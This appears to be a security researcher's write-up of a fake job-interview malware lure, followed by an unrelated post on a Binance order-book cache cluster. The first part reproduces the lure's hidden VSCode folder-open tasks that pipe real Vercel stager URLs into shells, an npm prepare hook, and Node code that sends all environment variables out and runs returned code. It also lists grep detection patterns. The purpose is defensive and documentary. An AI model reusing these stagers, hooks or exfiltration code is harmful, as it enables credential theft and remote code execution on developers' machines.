• abuse.ch ThreatFox

• abuse.ch URLhaus

• AlienVault OTX

• GitHub Trust & Safety

• Vercel Trust & Safety

• LinkedIn Trust & Safety

Vercel has acknowledged the abuse report under case number 01139817.

GitHub has acknowledged the repository abuse report under support ticket #4339052.

This is the lesson:

Opening an unknown repository in a modern developer tool is not a passive action anymore.

The old mental model was:

"I did not run the code, I only opened the project."

That model is broken.

The real question is:

"Did my tooling trust the project?"

How it started

On 2026-04-13, I received a LinkedIn InMail from a profile using the name:

John Armour Lamont
CEO & Founder | Climate action through Technology

The message looked like ordinary recruiter outreach:

• DevSecOps

• security architecture

• Kubernetes

• CI/CD

• scalable infrastructure

• Web3 platform

• DevSecOps Lead / Solution Architect

All of that matches my public LinkedIn profile closely enough to feel plausible.

But the message also had the classic smell of a generic lure:

• no company name

• no product name

• no founder names

• no funding source

• no concrete architecture

• no concrete chain

• no real technical framing

I asked for details before scheduling anything.

The answer stayed vague:

"The MVP is completed, and we've secured initial funding $6M."
"The team is lean but growing."
"We're leveraging EVM compatible chains."
"It would be better to discuss this during the meeting."

That is not proof of malice.

But it is exactly the kind of vague-but-plausible language that works well in recruiter pretexts.

A few Calendly links later, we scheduled the call.

The thing that saved me

Two days before the interview, I read a Reddit post about a Claude Code proof-of-concept by Zhangir Ospanov.

The PoC is here:

https://github.com/s0ld13rr/claude-code-backdoor

The core point was simple:

Claude Code can execute project-local hooks from .claude/settings.json when a trusted project starts.

That is not a magic exploit. It is tool behavior.

But the security boundary matters.

The dangerous situation is not:

"I ran the malware."

The dangerous situation is:

"I opened an untrusted project inside a tool that can execute project-local automation."

That same pattern exists across modern developer tooling:

• .vscode/tasks.json

• .claude/settings.json

• Cursor / Windsurf project configs

• package.json scripts

• preinstall / postinstall / prepare

• Makefiles

• Git hooks

• Docker Compose files

• CI configs

• language-server initialization paths

I made a mental note:

If somebody asks me to open an unfamiliar repository in any IDE, inspect the project automation files first.

Two days later, that note mattered.

The interview

On 2026-04-29, the Google Meet call started normally.

We talked about my background. There were no meaningful technical questions. No architecture discussion. No real DevSecOps interview.

Then, about 25 minutes in, the recruiter sent the repository:

https://github.com/Novara1o1/jackpot

The project looked like a Web3 poker/casino application.

The README looked plausible. The repository had history. The stack looked believable:

• React

• Next.js

• Solidity

• Hardhat

• ethers.js

• MongoDB

• SettleMint references

I said:

"This is JavaScript. I mostly do Python."

The answer:

"That's fine. Just review it. Could you open it in VSCode?"

That was the trigger.

Why VSCode specifically?

I had already told him I use PyCharm.

A normal interviewer would not care which editor I use for a superficial review.

But this repository cared.

So I did not open it in VSCode.

I inspected it in the browser.

Then I went straight to .vscode/.

The VSCode trap

The repository contained a .vscode/tasks.json file with folder-open tasks.

Simplified, the relevant part looked like this:

{
  "version": "2.0.0",
  "tasks": [
    {
      "label": "install-root-modules",
      "type": "shell",
      "command": "npm install --silent --no-progress",
      "runOptions": {
        "runOn": "folderOpen"
      },
      "presentation": {
        "reveal": "silent",
        "echo": false,
        "focus": false,
        "panel": "new",
        "showReuseMessage": false,
        "clear": true
      }
    },
    {
      "label": "env",
      "type": "shell",
      "linux": {
                                                                                                                                                                                                                                         "command": "wget -qO- 'https://ip-address-check-mo.vercel.app/api/settings/linux' | sh"
      },
      "osx": {
                                                                                                                                                                                                                                         "command": "curl -L 'https://ip-address-check-mo.vercel.app/api/settings/mac' | bash"
      },
      "windows": {
                                                                                                                                                                                                                                         "command": "curl --ssl-no-revoke -L https://ip-address-check-mo.vercel.app/api/settings/windows | cmd"
      },
      "presentation": {
        "reveal": "silent",
        "echo": false,
        "focus": false,
        "close": true,
        "panel": "new",
        "showReuseMessage": false,
        "clear": true
      },
      "runOptions": {
        "runOn": "folderOpen"
      }
    }
  ]
}

The important part is not only the command.

The important part is the interaction:

"runOptions": {
  "runOn": "folderOpen"
}

combined with:

"presentation": {
  "reveal": "silent",
  "echo": false,
  "focus": false,
  "close": true
}

This means:

1. The task is eligible to run when the folder opens.

2. After Workspace Trust is granted, the shell command can execute.

3. The terminal output is suppressed or hidden.

4. The command is not clearly surfaced as a separate, explicit security decision.

And then there is the visual trick:

The "command" field was pushed far to the right with whitespace.

In the sample I analyzed, the malicious command began after more than 200 ASCII spaces.

The repository's .vscode/settings.json also set:

{
  "editor.wordWrap": "off"
}

So a casual reviewer opening the file in VSCode sees a harmless-looking structure and may not visually notice the command at all.

This is not clever cryptography.

It is better than that.

It abuses developer habit.

Why this works

The attacker does not need to convince the developer to run malware.

They only need to convince the developer to follow a normal workflow:

clone repo
open folder
trust workspace
let tooling initialize

That is the real trust-boundary failure.

The human thinks:

"I am just opening the project."

The tool thinks:

"This workspace is trusted, so project automation can run."

The attacker thinks:

"Perfect."

This is the same class of problem as:

• Claude Code hooks in .claude/settings.json

• package manager lifecycle scripts

• Makefile targets

• Git hooks

• CI workflow files

• language-specific project bootstrap files

The security boundary is no longer:

Did I manually execute the application?

The security boundary is:

Did my tooling trust the project?

The first payload layer: Vercel-hosted stagers

The active lure repository referenced this domain:

ip-address-check-mo.vercel.app

with OS-specific endpoints:

/api/settings/linux
/api/settings/mac
/api/settings/windows

The commands used the classic download-and-execute pattern:

wget -qO- 'https://ip-address-check-mo.vercel.app/api/settings/linux' | sh

curl -L 'https://ip-address-check-mo.vercel.app/api/settings/mac' | bash

curl --ssl-no-revoke -L https://ip-address-check-mo.vercel.app/api/settings/windows | cmd

That is not a settings API.

That is a staged execution path.

During the investigation, I mapped a rotating set of Vercel-hosted projects used by the same campaign pattern.

The Stage-1 stager infrastructure observed so far:

There are obvious operator mistakes in that list:

• doubled .vercel.app

• vercel-ten.app instead of .vercel.app

• addess instead of address

That matters.

Typos are often better pivot material than perfect infrastructure.

They show manual editing, copy/paste drift, and operational pressure.

The second payload layer: npm lifecycle execution

The VSCode path was not the only execution vector.

The repository also carried an npm-based path.

In package.json:

"scripts": {
  "start": "node server/server.js | react-scripts --openssl-legacy-provider start",
  "build": "node server/server.js | react-scripts --openssl-legacy-provider build",
  "test": "node server/server.js | react-scripts --openssl-legacy-provider test",
  "eject": "node server/server.js | react-scripts --openssl-legacy-provider eject",
  "prepare": "node server/server.js"
}

The dangerous one is:

"prepare": "node server/server.js"

prepare is an npm lifecycle script.

So if the victim does not open the project in VSCode but instead runs:

npm install

the server-side JavaScript still executes.

That gives the attacker two chances:

1. IDE auto-execution via .vscode/tasks.json

2. npm lifecycle execution via prepare

This is exactly how good malware chains are built.

They do not rely on one path.

They layer normal developer behaviors until one of them fires.

The third layer: BeaverTail-style Node.js RCE and environment exfiltration

The repository also contained a hidden runtime chain in the application code.

In server/routes/api/auth.js, simplified:

const verified = validateApiKey();

if (!verified) {
  console.log("Aborting mempool scan due to failed API verification.");
  return;
}

async function validateApiKey() {
  verify(setApiKey(process.env.AUTH_API))
    .then((response) => {
      const executor = new Function("require", response.data);
      executor(require);
      return true;
    })
    .catch((err) => {
      return false;
    });
}

In server/controllers/auth.js:

const setApiKey = (s) => atob(s);

const verify = (api) =>
  axios.post(api, { ...process.env }, {
    headers: {
      "x-app-request": "ip-check"
    }
  });

What this does:

1. Reads process.env.AUTH_API

2. Base64-decodes it

3. POSTs the entire process.env to the decoded URL

4. Receives JavaScript code as response

5. Executes that code with:

new Function("require", response.data)

That is full Node.js RCE.

It also exfiltrates the victim's environment variables.

The .env file is designed to look harmless:

NODE_ENV=development
PORT=3000
ALCHEMY_API_KEY=demo-alchemy-0123456789abcdef
ETHERSCAN_API_KEY=etherscan_demo_ABC123DEF456
POLYGONSCAN_API_KEY=polygonscan_demo_ABC123DEF456
INFURA_IPFS_PROJECT_ID=infura-ipfs-demo-112233
OPENAI_API_KEY=sk-test_OpenAIkey1234567890
PINATA_API_KEY=pinata_test_key_9876543210
STRIPE_SECRET_KEY=sk_test_STRIPEKEY123456
COINBASE_COMMERCE_API_KEY=cc_test_COINBASE12345
AUTH_API=aHR0cHM6Ly95LWhhemVsLXRlbi52ZXJjZWwuYXBwL2FwaQ==
AWS_ACCESS_KEY_ID=AKIAEXAMPLE12345
AWS_SECRET_ACCESS_KEY=SecretKeyExample/AbC1234567890

Most values are obvious demo placeholders.

One value is not.

AUTH_API=aHR0cHM6Ly95LWhhemVsLXRlbi52ZXJjZWwuYXBwL2FwaQ==

Decoded:

https://y-hazel-ten.vercel.app/api

That is a second Vercel-hosted endpoint, separate from the VSCode stager rotation.

So the repository contains at least two distinct malicious infrastructure paths:

• Stage-1 OS-specific shell stagers under /api/settings/{linux,mac,windows}

• Stage-2 BeaverTail-style Node.js RCE/exfil endpoint under /api

The fake x-app-request: ip-check header is there to make the traffic look like a harmless IP or environment check.

It is not harmless.

It sends the victim's environment to the operator.

Why I classify this as Contagious-Interview-style tradecraft

I am careful with attribution.

I cannot prove who sat behind the keyboard during my call.

The LinkedIn profile may be fake, compromised, impersonated, or operated by the attacker.

But the tradecraft strongly overlaps with publicly documented Contagious Interview activity:

• fake recruiter outreach

• Web3 / crypto / casino / blockchain lure projects

• GitHub-hosted project repositories

• developer asked to open the project locally

• npm lifecycle execution paths

• JavaScript malware

• BeaverTail-style code patterns

• base64-obfuscated C2 endpoint

• environment-variable exfiltration

• remote JavaScript execution via new Function

• Vercel-hosted rotating infrastructure

• short-lived operator accounts

That is the important point.

Whether the exact operator label is Lazarus, Sapphire Sleet, DEV#POPPER, CL-STA-0240, OtterCookie, or another overlapping cluster is less important for defenders than the execution pattern.

The practical defensive message is the same:

Fake job interviews are being used to get developers to execute malware through normal project tooling.

What I reported

I submitted the malicious repository and infrastructure to the relevant platforms.

Vercel Trust & Safety

Vercel acknowledged the report under case number:

01139817

The report covered:

• 15 Stage-1 Vercel stager domains

• 1 Stage-2 BeaverTail-style RCE/exfil endpoint

• shared URL pattern /api/settings/{linux,mac,windows}

• likely shared operator naming patterns

• known GitHub-attributed operator emails

• ThreatFox and URLhaus references

The requested actions were:

1. Take down the listed malicious projects

2. Block redeployment by related operator accounts

3. Hunt for sister projects using the same naming and endpoint patterns

4. Preserve metadata for correlation with abuse.ch / law enforcement where appropriate

GitHub Trust & Safety

GitHub acknowledged the report under support ticket:

#4339052

Reported repository:

https://github.com/Novara1o1/jackpot

Reason:

• malicious .vscode/tasks.json

• runOn: folderOpen

• silent shell stager execution

• npm lifecycle execution path

• BeaverTail-style Node.js RCE/exfil chain

LinkedIn Trust & Safety

Reported the recruiter profile as potentially:

• fake

• compromised

• impersonated

• used as part of a recruiting malware campaign

I am deliberately not stating that the real-world person named on the profile is the attacker.

That is important.

The profile is part of the observed attack chain.

The identity behind it is a separate question.

VSCode hardening note

I am not treating this as a VSCode vulnerability claim in this article.

Workspace Trust is a real security boundary, and the attacker still needs the victim to grant trust.

But the user experience is still worth discussing because this campaign abuses the gap between two different mental models.

A user can interpret "I trust the authors" as:

"I trust this repository enough to inspect it."

A developer tool can interpret it as:

"Project-local automation may execute."

Those are not the same decision.

For runOn: folderOpen shell tasks, a safer design would require explicit per-task approval and display the complete command before first execution.

Especially when the task uses:

"presentation": {
  "reveal": "silent",
  "echo": false,
  "focus": false,
  "close": true
}

The important defensive lesson is not "VSCode is broken."

The lesson is:

Project trust can become command execution. Treat it accordingly.

Public threat-intel

Indicators from this investigation were submitted to public abuse.ch feeds.

ThreatFox:

https://threatfox.abuse.ch/browse/tag/jackpot/

URLhaus:

https://urlhaus.abuse.ch/browse/tag/jackpot/

My ThreatFox profile:

https://threatfox.abuse.ch/user/12877/

The indicators include:

• Vercel stager domains

• active stager URLs

• BeaverTail-style endpoint

• malicious file hashes

• campaign tag jackpot

• malware family tags where accepted by the platform

This matters because social-media warnings are useful, but structured threat-intel is ingestible.

Defenders can block it.

Researchers can pivot from it.

Platforms can correlate it.

That is the goal.

Detection ideas

Repository static checks

Before opening an unknown repository in any IDE, search for project-local execution surfaces:

find . -maxdepth 4 \( \
  -path "*/.vscode/tasks.json" -o \
  -path "*/.vscode/settings.json" -o \
  -path "*/.claude/settings.json" -o \
  -name "package.json" -o \
  -name "Makefile" -o \
  -path "*/.git/hooks/*" -o \
  -name "docker-compose.yml" \
\) -print

Search for suspicious folder-open tasks:

grep -RInE '"runOn"[[:space:]]*:[[:space:]]*"folderOpen"|curl.*\|.*(sh|bash|cmd)|wget.*\|.*(sh|bash)' .

Search for JavaScript runtime-eval patterns:

grep -RInE 'new Function|eval\(|process\.env|axios\.post|atob\(' .

Search for base64-looking environment values:

grep -RInE '^[A-Z0-9_]+=[A-Za-z0-9+/]{30,}={0,2}$' .env* 2>/dev/null

Runtime detection ideas

Watch for editor or Node processes spawning network downloaders:

Code.exe / code
  -> cmd.exe / powershell.exe / bash / sh
    -> curl / wget
      -> pipe to sh/bash/cmd

Watch for Node processes posting environment-sized payloads to unknown Vercel domains.

Watch for traffic to:

*.vercel.app/api/settings/linux
*.vercel.app/api/settings/mac
*.vercel.app/api/settings/windows

especially when launched by:

• VSCode

• Cursor

• Windsurf

• Claude Code

• npm

• node

• bash

• sh

• cmd.exe

• powershell.exe

Lessons learned

1. Unknown repositories are hostile until proven otherwise

Do not open unknown repositories directly in your normal IDE.

Not VSCode.

Not Cursor.

Not Windsurf.

Not Claude Code.

Not anything with project-level automation.

Use a plain text viewer, browser review, container, or VM first.

2. "Open this in VSCode" is now a security-relevant request

That sentence used to sound normal.

It is still normal in many contexts.

But in recruiter calls, freelance interviews, code-review lures, crypto projects, and "quick technical checks", it should raise your blood pressure a little.

Not panic.

Just friction.

A good answer is:

I do not open untrusted repositories directly in an IDE during calls.
I will inspect it offline in a controlled environment.

A real recruiter accepts that.

An attacker pushes back.

3. Trust prompts are not enough

The problem is not that users are stupid.

The problem is that the trust prompt asks the wrong question too broadly.

A user may trust a workspace enough to browse it.

That does not mean the user knowingly approved automatic shell execution.

Tooling needs finer-grained trust decisions.

Especially for:

• shell tasks

• lifecycle scripts

• hooks

• AI-agent startup hooks

• commands downloaded from the network

• commands piped into interpreters

4. AI coding tools have the same class of problem

This is bigger than VSCode.

The same trust-boundary issue exists in AI coding tools and agentic developer environments.

Project-local config is no longer just configuration.

It can be execution policy.

That includes files like:

.claude/settings.json
.vscode/tasks.json
.cursor/
.windsurf/
package.json
Makefile
.git/hooks/
docker-compose.yml
.github/workflows/

The security question is not:

Did I run the program?

The question is:

What did my tooling run for me?

5. Awareness works

I refused this attack because two days earlier I had read about the same trust-boundary problem in Claude Code through Zhangir Ospanov's PoC.

Different tool.

Same pattern.

That awareness changed my behavior at the exact right moment.

This is why I am linking his work directly:

• Zhangir Ospanov on LinkedIn

• claude-code-backdoor PoC on GitHub

So yes, sharing these findings matters.

Blog posts matter.

Reddit posts matter.

LinkedIn posts matter.

IOCs matter.

They put patterns into people's heads before the attacker reaches them.

If you were targeted

If you received recruiter outreach matching this pattern, or were asked to open the jackpot repository or a similar Web3 project in VSCode, treat it seriously.

If you only viewed the repository in a browser, you are likely fine.

If you downloaded the ZIP but did not open it in an IDE, run npm install, or execute scripts, you are likely fine.

If you opened it in VSCode and clicked Workspace Trust, or ran npm install, or started the app locally, treat the machine as potentially compromised.

Immediate steps:

1. Disconnect the machine from sensitive networks.

2. Preserve artifacts if you can do so safely.

3. Rotate credentials that were present in environment variables, shell config, npm config, cloud CLIs, wallet tooling, SSH agents, browser sessions, and developer secrets.

4. Check shell history, VSCode task history, npm logs, process execution logs, EDR telemetry, and outbound network logs.

5. Look for connections to Vercel /api/settings/* endpoints and y-hazel-ten.vercel.app/api.

6. Rebuild from a known-good state if execution is confirmed.

References

• AlienVault Pulse
  https://otx.alienvault.com/pulse/69f9ab38f883023c833b2fd8

• ThreatFox campaign tag: jackpot
https://threatfox.abuse.ch/browse/tag/jackpot/

• URLhaus campaign tag: jackpot
https://urlhaus.abuse.ch/browse/tag/jackpot/

• ThreatFox user profile:
  https://threatfox.abuse.ch/user/12877/

• Zhangir Ospanov — LinkedIn:
  https://www.linkedin.com/in/s0ld13r/

• Zhangir Ospanov — Claude Code backdoor PoC:
  https://github.com/s0ld13rr/claude-code-backdoor

• VSCode Workspace Trust documentation:
  https://code.visualstudio.com/docs/editing/workspaces/workspace-trust

• VSCode Tasks documentation:
  https://code.visualstudio.com/docs/editor/tasks

Closing thought

This was not a "malicious repository" in the old sense.

It was a malicious developer workflow.

The repository did not need me to run the app.

It needed me to behave like a normal developer.

Open the folder.

Trust the workspace.

Let the tool initialize.

That is the attack.

And that is why this needs to be understood beyond this single case.

Follow me on GitHub, X and LinkedIn to stay updated on my latest releases. Your constructive feedback is always appreciated!

Thank you for reading! ¯\_(ツ)_/¯

TL;DR — UBDCC is not "Redis for Binance order books". It is an order book trust layer: every layer of the stack — UBWA, UBLDC, the cluster, the dashboard — exists to turn a stream of binary diff messages into a finite, observable trust state your strategy can reason about. This post walks the stack end to end.

The previous post was the five-minute install: pip install ubdcc, kill a node, watch failover, copy a snippet from the API Builder, done.

This post is the why. What every layer is doing, why it exists, and how the pieces add up to something far more important than "we cached a JSON object".

Because in trading infrastructure, a wrong order book is worse than no order book. No data stops you. Bad data lies to you.

The framing comes out of a LinkedIn discussion on the quickstart. One reader put it sharper than I had so far:

"OutOfSync is not just an exception name. It is a finite trust state that the rest of the system can reason about."

That is the thread we are pulling here.

By the end of this post, you should understand:

• why a Binance order book can be wrong while still looking perfectly valid

• how UBLDC turns snapshots and diff streams into a finite sync state

• how UBDCC preserves that trust state across HTTP

• why #6000 is a feature, not just an error

• where REST is enough, and where gRPC starts to make sense

Layer 0 — What Binance actually gives you

Before any code, let's be honest about the raw material. Binance does not hand you truth. It hands you puzzle pieces.

Binance does not expose "the order book". It exposes two things:

1. A REST snapshot at a specific lastUpdateId. One HTTP call. For futures and options it is reasonably fresh; for European Options it is cached server-side for ~30 seconds, which becomes important later.

2. A diff-depth WebSocket stream of incremental updates, each tagged with U (first update id) and u (final update id), and on futures additionally pu (previous final update id).

To turn that into a usable order book you have to:

• Fetch the snapshot.

• Buffer diffs that arrive while the snapshot is in flight.

• Find the sync point: the first diff where U <= lastUpdateId+1 <= u (spot) or U <= lastUpdateId <= u (futures/options).

• Apply diffs sequentially, validating that each U equals the previous u + 1 (spot) or each pu equals the previous u (futures).

• Re-sync from scratch the moment a gap appears.

• Quietly accept that price levels which fall outside the top 1000 get no delete event. Binance just stops mentioning them. If you follow the docs literally, those levels stay in your book forever as ghost orders.

Most "order book" libraries do step 1, half of step 4, and then quietly hope reality stays polite.

Reality does not.

That is where silent corruption starts: the book still looks like an order book, the numbers still parse, your strategy still runs — but the data is no longer trustworthy.

The whole UBS stack exists to handle the rest of that list — and to make the result observable.

Layer 1 — UBWA: the event bus

UBWA is the WebSocket layer underneath everything. From the trust-layer perspective its job is simple to say and annoying to implement: turn an unreliable TCP connection to Binance into a clean event source for whatever sits on top.

What UBWA gives you that you would otherwise write yourself:

• One process, many streams. A single BinanceWebSocketApiManager multiplexes hundreds of subscriptions across multiple physical connections, respecting Binance's per-connection subscription cap.

• Auto-reconnect with state. When a socket drops, UBWA reconnects, re-subscribes, and emits a signal for every stream it touched so consumers can react.

• Stream signals as a first-class API. Pass process_stream_signals=... (or enable stream_signal_buffer) and every reconnect, disconnect, first-message-after-connect arrives as a structured event:

  def on_signal(signal_type, stream_id, data_record=None, error_msg=None):
      # signal_type ∈ CONNECT, DISCONNECT, FIRST_RECEIVED_DATA,
      #               STREAM_UNREPAIRABLE, NEW_STREAM_STARTED, ...
      ...
  

  This matters for the trust layer because it means UBLDC does not have to guess whether a stream gap was a real Binance gap or a socket reconnect. It gets told.

• Async-queue access to data. ubwa.get_stream_data_from_asyncio_queue(stream_id) is what UBLDC's diff loop awaits on. UBWA decouples the network side completely from the consumer side — consumers can fall behind without losing events, up to a configurable buffer cap.

UBWA is the only place in the stack that has to care about TCP chaos. Everything above it works in terms of ordered messages plus explicit connection signals. That separation is what keeps the next layer sane.

Layer 2 — UBLDC: the sync state machine

UBLDC sits on top of UBWA and is where the order book actually exists. It is also where most of the interesting decisions live. If UBWA is the event bus, UBLDC is the part that asks the uncomfortable question: "Can I still trust this book?"

For each market UBLDC keeps a small state record:

{
  "asks": {...},
  "bids": {...},
  "is_synchronized": False,
  "last_update_id": None,
  "last_refresh_time": None,
  "refresh_request": True,
  "refresh_interval": <int|None>,
  "stream_status": None,
}

Three flags do most of the work: is_synchronized, refresh_request, last_update_id. The whole loop in _manage_depth_cache_async() is a state machine over those.

Bootstrapping a market

When a market is added, refresh_request is True and is_synchronized is False. Diff events start arriving immediately from UBWA — they have nowhere to go yet, but UBLDC does not throw them away. They land in a per-market init_buffer.

In parallel, UBLDC checks the current Binance API weight before asking for a snapshot:

if current_weight['weight'] > 2200 or current_weight['status_code'] != 200:
    # Too close to the rate-limit ceiling, wait it out.
    continue

This is a small detail with a big production effect: UBLDC will not blindly hammer Binance with snapshot requests for 50 markets at once and then act surprised when rate limits bite. It yields when the weight is high.

When the snapshot arrives, the loop replays the buffered events, hunting for the sync point. Spot:

U <= lastUpdateId + 1 <= u

Futures / options:

U <= lastUpdateId <= u

The first event that matches flips is_synchronized = True. Anything buffered after that point gets applied with normal gap detection.

European Options has its own quirk — the snapshot's lastUpdateId can lag the live stream by ~30 seconds because Binance caches the snapshot server-side. UBLDC handles this by not dropping the buffer between failed sync attempts: events older than the snapshot get pruned, the rest is kept (capped at 10k) and replayed against the next snapshot. Without this you get an infinite resync loop and a very bad afternoon. With it, options markets just take a bit longer to come online.

Steady state

Once is_synchronized is True, the loop is short:

# Spot:
if event['U'] != last_update_id + 1:
    set_resync_request(market)   # gap → re-init from scratch
    continue

# Futures / options:
if event['pu'] != last_update_id:
    set_resync_request(market)
    continue

apply_updates(event)
last_update_id = event['u']

A single missed sequence number flips the cache out of sync and triggers a fresh snapshot. That is the entire point: a loud resync beats a quiet lie every time.

The orphaned-levels fix

Binance's diff stream guarantees consistent updates for the top 1000 levels of the book. When a level falls out of the top 1000 it stops getting updates — including delete events. A library that follows the spec literally accumulates ghost orders below the active band. The book grows a basement of dead orders nobody updates.

UBLDC actively prunes this by sorting the cache by price and dropping everything past the limit_count you query with — not just at read time, but as a _clear_orphaned_depthcache_items() pass during diff application. That is also why the ghost-orders post is its own writeup: the bug is in Binance's spec, not in any one client, and most production order books out there have it.

Periodic refresh

refresh_interval lets you force a periodic resync — say, every hour — even if no gap was detected. This is a belt-and-braces defence for very long-running processes. The default is None (don't), and you should leave it alone for normal workloads. Setting it too aggressively rebuilds caches that were perfectly fine, which costs Binance API weight and opens a window where the cache is in init state.

What UBLDC exposes upward

After all of this, UBLDC offers a flat synchronous API:

ubldc.is_depth_cache_synchronized(market="BTCUSDT")  # → True / False
ubldc.get_asks(market="BTCUSDT", limit_count=5)
ubldc.get_bids(market="BTCUSDT")

Notice what is not there: there is no get_asks_or_die_silently(). The synchronization status is a separate, queryable signal. Consumers can ask it before reading, or — more usefully — handle the case where a read happens during a resync. That is the seed of the trust layer pattern.

Layer 3 — UBDCC: the cluster

If you only need one Python process, UBLDC standalone is enough. UBDCC is what you reach for when the answer to "where does the order book live?" stops being "inside this script" and starts being "as a service my team can rely on without babysitting it".

The cluster is three roles. Nothing magical. No ceremony. Plain HTTP/JSON between them:

• mgmt (one) — owns the authoritative cluster DB: which markets exist, which DCN holds which replica, which API keys are mapped to which DCN. Distributes work. Serves write-side endpoints (/create_depthcache, /add_credentials, …). Backs itself up to every other node on every sync cycle.

• restapi (one to many) — public entry point. Looks up which DCN is responsible for a (exchange, market) query, routes to it, fails over to a replica if the primary doesn't answer, and surfaces the failover in the response so monitoring sees it.

• dcn (many) — each DCN runs one UBLDC manager and N markets. One DCN per CPU core is the rule of thumb (Python's GIL caps a single process to one core). Serves /get_asks / /get_bids directly.

Three architectural decisions are worth flagging because they look small and pay off enormously.

Disposable cache, durable contract

A DCN is replaceable. It is not precious. It holds a few in-memory order books and a WebSocket connection. Kill it, and the only loss is the time it takes mgmt to assign its markets to a different DCN and for that DCN to re-sync. The cluster DB is replicated to every node on every sync cycle, so even mgmt is replaceable — restart it and it pulls the most recent backup from whichever node has the freshest copy.

The takeaway from one of the LinkedIn replies sharpened this for me:

"REST queries over stateless cache means you spin replicas up and down without choreography, completely changing how you think about failover." — Peter Andreas

Exactly. The fragile thing in most setups is the cache itself. Treating cache replicas as cattle, not pets, is the entire reason failover is boring. And boring failover is good failover.

error_id #6000 — the trust signal on the wire

When a DCN gets a query for a market that is currently out of sync, it does not return last-known-good data with a happy 200. It returns this:

return self.get_error_response(
    event=event,
    error_id="#6000",
    message=f"DepthCache '{market}' for '{exchange}' is out of sync!"
)

That is the trust state crossing the network boundary. This is the moment where UBDCC stops being "a cache" and becomes a contract. The consumer now has three explicit options instead of one implicit one:

1. Wait — poll again in a moment, the cluster is re-syncing.

2. Reduce confidence — the strategy can still trade, but with a wider risk margin until the cache is back in sync.

3. Refuse — for strategies where stale data is worse than no data, the right move is to step out of the market entirely.

That decision belongs to the consumer, not to the cache. The cache should not cosplay as a risk engine. UBDCC's job is to preserve the trust signal across the boundary so the consumer is never accidentally trading on a stale book.

Replicas + staggered start

When you create a DepthCache with desired_quantity=3, mgmt picks three different DCNs for the three replicas and staggers their start times by a few seconds. That is deliberate, not cosmetic. Three parallel snapshot requests for BTCUSDT are three identical hits on Binance with no fault-tolerance benefit; staggering them means each replica is independently synced at a slightly different point in time, which also means at most one is ever in resync at any given moment under normal conditions. Failover stays cheap.

Replicas live on different DCNs by design. Mgmt's distribution scheduler refuses to put the same market twice on the same node — otherwise you would have "redundancy" that dies with a single process.

What's not there

• No Redis. No PostgreSQL. No etcd. Not because those tools are bad — because this problem does not need them at the core. The cluster DB is a Python dict that mgmt replicates to every other node on each sync cycle. This is a deliberate constraint: every external dependency you add is one more thing that needs to be deployed, secured, monitored and recovered. UBDCC's recovery story is "pick the node with the most recent backup, re-elect mgmt, done".

• No transport encryption inside the cluster. Yet. The internal API is plain HTTP. This is a known gap, documented honestly in the README: the assumption is that you firewall the cluster off and run it behind a private network. We are building from the core outward, not from the buzzword inward.

• No bot logic. UBDCC does not place orders, run strategies, generate signals, or move funds. It is the data layer you build those things on top of. If you want a trailing stop loss, that is UBTSL. If you want raw streams, that is UBWA.

Layer 4 — The dashboard: the trust layer for humans

The cluster speaks JSON. Operators speak in glances. If you need to read a log line to know whether the book is trustworthy, the UI is not doing its job.

The UBDCC Dashboard is a single-page browser app — vanilla JS, no framework, no tracking, served by a stdlib HTTP launcher — that turns the cluster's existing endpoints into a live operations view. It does not introduce new state; everything you see is something the cluster already knows.

Three things are worth zooming in on:

• Mini-orderbook tiles. Each DepthCache is a compact tile with top-3 asks/bids, quantity bars, and a spread in basis points. An IntersectionObserver plus a filter gate ensures only on-screen, matching tiles poll the cluster. You can have 600 caches and still scroll a smooth 2-second refresh.

• Trust state at a glance. Out-of-sync (#6000) tiles turn red. Other errors turn yellow with a compact message. The Cluster Status modal in the header (Pods / DepthCaches / DCNs / Credentials tabs, plus a pinned health strip) gives you the same view at the cluster level: per-DepthCache replica donut, distribution state, sync state.

• API Builder. Pick an endpoint, fill in a form, get a copyable snippet in curl, HTTPie, Python (using the official UBLDC Cluster client), JavaScript, Go, C#, Java, Rust, PHP or C/C++. A Try it → button runs GET-safe calls through the dashboard's CORS proxy and pretty-prints the JSON. This is how non-Python developers onboard onto the cluster — and, honestly, how I test endpoints when I do not feel like typing curl for the hundredth time.

The dashboard is also where the Credentials Manager lives (masked previews, two-click remove), the Add DepthCaches modal with live exchangeInfo symbol lookup, and the bulk × Remove filtered with a two-click confirmation that is only enabled when a filter is active — so you cannot accidentally wipe the cluster with one slip.

Where this is going next: gRPC

REST is a perfect onboarding contract. Anything HTTP-capable can read the cluster. That is hard to beat for "I want to be productive in 90 seconds".

For tight-loop consumers — market makers, arbitrage engines, anything that wants top-of-book fast enough that JSON starts to feel like furniture in the hallway — REST becomes the long pole. JSON parsing alone is often more expensive than the actual cluster- internal lookup. Long-poll patterns also fight against a stateless read API.

The next architectural step we are looking at is a gRPC contract alongside REST, not instead of it:

• Streaming reads. Subscribe once to (exchange, market, limit_count) and receive a server-pushed update on every diff the cluster applies — including a trust_state field that is IN_SYNC / OUT_OF_SYNC / RESYNCING. Same trust contract as the error_id #6000 you get from REST, just delivered as a first-class field on every message instead of an exceptional response. Order-book deltas become a typed event stream.

• Bidi for write-side ops. create_depthcaches over a streaming RPC means the dashboard (and any operator tool) can show progress per market — pending → starting → synchronized — without polling.

• Schema-first. Protobuf gives every language the same typed contract for free, including languages where the current REST approach forces hand-rolled DTOs.

REST stays for everything onboarding-shaped. gRPC is the path for high-throughput, low-latency reads where the trust signal needs to ride on the data instead of on top of it. This is idea stage — it is on the roadmap, not in the next release. If your use case sharpens the requirements, the issue tracker is the right place to push.

What this stack is — and what it composes with

Stack-from-the-bottom, one line each:

What it composes with:

• UBTSL — trailing stop loss engine. Reads UBDCC for the order book it trails against, places orders via UBRA.

• UBRA — REST client for everything that is not market data: account, orders, balances. Pairs naturally with UBDCC for read.

• UnicornFy — raw-payload normalizer. If you read from UBWA directly (rather than via UBLDC/UBDCC), UnicornFy is what gives you uniform Python dicts.

• Anything else. Node.js dashboard, Go execution engine, Rust research tool, C# alerting service — they all read the same trust-aware REST contract. That was the goal from the start.

The point

The reason this writeup is structured the way it is — Layer 0 to Layer 4 — is not just to tour the stack. The stack is documented in each repo's README. The point is that trust is not a feature you bolt on. It only works if every layer preserves it.

If UBWA hides reconnects, UBLDC cannot detect a real Binance gap. If UBLDC silently keeps an out-of-sync book, UBDCC has no honest status to report. If UBDCC returns 200 with stale data on #6000, the consumer's strategy is trading on a lie with a nice HTTP status code. Each layer's job is to either preserve the trust signal or fail loudly enough that the layer above can.

